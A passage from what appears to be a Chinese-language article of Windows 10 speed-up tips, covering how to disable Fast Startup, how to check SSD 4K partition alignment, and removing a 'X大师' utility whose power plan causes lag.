“快速启动”是Win10中一项特殊的功能,可以让操作系统在几秒内完成启动,实用性颇高。不过事实上这只是微软的实验室数据,现实中遭遇的兼容性问题可能多得你连想都想不到。因此如果你的电脑经常性卡顿又找不到什么原因时,不妨试着关闭一下“快速启动”,没准会有奇效。

关闭方法,Cortana搜索框中输入“电源”打开“电源和睡眠”选项,然后再点击“其他电源选项”→“选择电源按钮的功能”,在面板中点击“更改当前不可用的设置”,取消“启用快速启动(推荐)”之前的复选框即可。

9. SSD 4K对齐

如果你使用的是固态硬盘,但使用中并未感觉到比之前的机械硬盘快多少,那么就需要检查一个重要参数——4K是否对齐。

4K对齐是硬盘分区时要特别注意的一个指标,同时也是一项破坏性指标,即当你的系统已装好且有了个人数据时,是很难再进行对齐的(无损对齐需要耗费大量时间,对于个人用户来说,成本上是不合算的)。而查看硬盘对齐有一个非常简单的方法,即使用AS SSD Benchmark。如果发现硬盘分区4K未对齐(主要是系统盘),那么最好的一个办法,就是重新对系统盘分区(通过Win10安装程序分区,即自动呈4K对齐状态)。

10. 看一看系统有没有没卸载的“XX大师”

如果你检查完所有参数,仍不能解决系统卡顿的问题,那么建议看一看系统中是否装有“X大师”。这是一款风靡全国的系统评分软件,很多电脑都有安装。除了各种评分与广告之外,它的最厉害之处还在于为系统的电源属性增加了一项“鲁大师节能省电方案”。开启这个模式后,CPU会经常保持在最低频率,虽然不会影响自动升频,但频繁的频繁升降,无疑会导致系统卡顿。因此当你的电脑发现有“X大师”的踪迹时,最好的一个办法就是卸载它,然后将系统电源方案恢复默认。